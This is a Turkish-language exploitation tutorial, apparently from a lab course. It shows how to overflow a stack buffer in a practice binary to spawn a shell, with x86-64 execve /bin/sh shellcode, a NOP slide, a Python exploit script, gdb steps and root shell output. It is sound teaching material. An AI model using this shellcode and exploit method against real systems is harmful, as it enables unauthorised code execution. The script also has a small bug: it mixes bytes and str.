Bu bölüm için hedefimiz programın akışını değiştirerek bir shell çalıştırmak.
Kodda bulunan zafiyet 0x0 bölümü ile aynı. Kodun tek farkı cant_get_here
fonksiyonunu içermemesi. Ki hedefimiz artık bu fonksiyona erişmemizi gerektirmediğinden
bu bizim için bir şey değiştirmiyor.
Önceki 0x0 bölümünden farklı olarak burda amacımız kod akışını tamamı ile değiştirerek bir shell çalıştırmak. Fakat bunu nasıl yapabiliriz?
Diğer örnekte kod bizim için hazırdı ve tek yapmamız gereken dönüş adresini bu koda işaret edicek şekilde değiştirmekti. Fakat bu sefer elimizde hazır bir kod yok, dönüş adresini değiştirebilsek de bir shell çalıştıracak bir noktaya erişmemiz mümkün değil.
Ya da öyle mi? Programa kendi kodumuzu ekleyemiyeceğimizi kim söyledi ki!
Shellcode, bir zafiyetin exploitinde kullanılan küçük bir parça koda verilen isim. Genelde bu kod bir shell başaltığından (bash, sh vs.) bu isime sahiptir. Peki bu bizim ne işimize yarıyacak?
Bildiğiniz gibi stack üzerine yazma yapabiliyoruz, ve de dönüş adresini değiştirebiliyoruz. Bu durumda stack üzerine bir shellcode yerleştirip dönüş adresini bu shellcode'a işaret etcek şekilde değiştirerek istediğimiz shellcode'u çalıştırabiliriz.
Bu örnekte kullanacağımız shellcode exploit.db'den bir /bin/sh shellcode'u. Bu shellcode'un kaynak kodu aşağıdaki şekilde:
global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
Bu shellcode'u açıklamak için çok ileri gitmeyeceğim. Tek bilmeniz gereken 0x68732f2f6e69622f
değerinin endianness'dan kaynaklı
ters çevirilmiş /bin//sh
olduğu (fazladan slash değeri 8 byte'a tamamlamak için). Ve 59 değeri de execve
sistem çağrısının
kodu.
Shellcode'u kendiniz derlemek için shellcode.s
olarak kaydedin:
nasm -f elf64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
Bu kodun hex haline ihtiyacımız var, ELF dosyasının parçası olan diğer bölümler ile ilgilenmiyoruz. Buna erişmek için:
objdump -d shellcode
Son olarak python kodunda kullanmak için shellcode'unuzu formatlayabilirsiniz:
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
Şimdi kritik bir soru, shellcode'unu nereye yerleştireceğiz? Hemen dönüş adresinden sonraki yere yerleştirip, dönüş adresini buraya işaret edicek şekilde değiştrebiliriz. Fakat burda şöyle bir sorun ortaya çıkıyor: stack adresi aynı olmak zorunda değil.
Birçok değişkene bağlı olarak stack adresi küçük farklar ile kayabilir. Bu değişkenlerden bir tanesi ortam değişkenleri. Ortam değişkenleri ve program argümanları, bellekde stack'den hemen önce yerleştirilir. Bu iki elemanın boyutuna bağlı olarak stack'in adresi aşağı ya da yukarı kayabilir. Bu da doğrudan stack üzerinde belirli bir adresi kullanan exploitimizi bozacaktır.
Bunu önlemek adına shellcode'umuzdan önce bir sürü nop
komutunun (opcode \x90
) bulunduğu NOP slide isimli bir bölüm yerleştireceğiz.
nop
komutu "No operation" anlamına gelir, yani bu komut herhangi birşey yapmadan sıradaki komuta geçiyor.
Daha sonra dönüş adresini NOP slide içinde bir adrese gelicek şekilde ayarlayacağız. Bu sayede ne olursa olsun en sonunda shellcode'una erişebileceğiz.
Bunu daha iyi anlamak adına NOP slide olmadan exploitimizi stack üzerinde canlandıralım:
=> 19: [dönüş adresi]
20: [shellcode]
21: [rastgele stack verisi]
22: [rastgele stack verisi]
...
Bu örnekte dönüş adresimiz 20'ye işaret ediyor diyelim, shellcode başarılı ile çalışacaktır:
-> 19: [dönüş adresi]
=> 20: [shellcode]
21: [rastgele stack verisi]
22: [rastgele stack verisi]
...
Ancak stack adresinin küçük farklar ile değişmesi mümkün:
=> 17: [dönüş adresi]
18: [shellcode]
19: [rastgele stack verisi]
20: [rastgele stack verisi]
...
Bu durumda exploitimiz aynı olduğundan yine 20'ye döneceğiz ama stack adresi değiştiğinden bu sefer shellcode'umuz çalışmayacaktır ve segfault ile programımız sonlanacaktır:
-> 17: [dönüş adresi]
18: [shellcode]
19: [rastgele stack verisi]
=> 20: [rastgele stack verisi]
...
NOP slide'in amacı da tam olarak bunu önlemek:
=> 19: [dönüş adresi]
20: [nop]
21: [nop]
22: [nop]
23: [nop]
24: [shellcode]
25: [rastgele stack verisi]
26: [rastgele stack verisi]
...
NOP'a dönüş yaptıktan sonra kodumuz 24 adresinde olan shellcode'a kadar çalışacaktır.
-> 19: [dönüş adresi]
-> 20: [nop]
-> 21: [nop]
-> 22: [nop]
-> 23: [nop]
=> 24: [shellcode]
25: [rastgele stack verisi]
26: [rastgele stack verisi]
...
NOP slide olduğu durumunda az önceki küçük adres farkları sorun olmayacaktır:
-> 17: [dönüş adresi]
18: [nop]
19: [nop]
-> 20: [nop]
-> 21: [nop]
=> 22: [shellcode]
23: [rastgele stack verisi]
24: [rastgele stack verisi]
...
Tüm bu yeni şeyleri önceki exploitimiz ile birleştirebiliriz:
from struct import pack
filler = b"A"*40
ret = pack("<Q", 0x<stackden adres>) # dönüş adresi
nop = b"\x90"*1000 # nop slide
shell = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05\x90" # shellcode
f = open("/tmp/ex", "wb")
f.write(filler+ret+nop+shell+"\n")
f.close()
Tabiki exploitimizi tamamlamak için stack'den uygun bir adres lazım, bunun için programı
gdb ile açıp scanf()
çağrısından sonra bir break point yerleştirip stack'de dönüş adresinden
sonra gelen nop slide civarında bir adres seçebiliriz:
python3 -c 'print("A"*40)' > /tmp/ex
gdb ./0x1.elf
set disassembly-flavor intel
disassemble main
break *0x000000000040116e # sizde adres farlı olabilir
run < /tmp/ex
x/24g $rsp
Bu örnekte ben dönüş adresinden biraz sonra gelen bir adres olan 0x7fffffffeaa0
adresini seçtim,
sizin için bu adres farklı olabilir.
Bu adres ile exploiti çalıştıralım hadi:
python3 exploit.py
cat /tmp/ex | ./0x1.elf
Eğer doğru takip etiyseniz programınız çökmemesi lazım, ama aynı zamanda bir shell almıyacaksınız. Nasıl yani exploitimiz başarısız mı oldu? Başarısız olsaydı program segfault hatası alırdı, yani hayır exploitimiz başarılı. Sadece exploiti kullanırken küçük bir hata yaptık.
Bash'de |
karakteri içeriği sağladıktan sonra stdin yanı standart girdi kanalını kapatıyor. Bundan kaynaklı olarak
shellimiz çalışsada biz daha bir komut gönderemeden bash shelli sonlandırıyor. Bunu engellemek adına sadece stdin'i
açık tutmamız lazım:
(cat /tmp/ex; echo; cat) | ./0x1.elf
Burda önce exploitimizi gönderiyoruz. Ardından scanf()
çağrısının sonlanması adına bir yeni satır gönderiyoruz. Son olarak da
cat komutunu bir parametre olmadan kullanarak shell'in stdin'i ile iletişim sağlıyoruz. Artık shell üzerinden komut gönderebiliriz!
Başarılı exploit ile aşağıdaki gibi bir çıktı almanız lazım:
root@o101:~/0x1# (cat /tmp/ex; echo; cat) | ./0x1.elf
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
id
uid=0(root) gid=0(root) groups=0(root)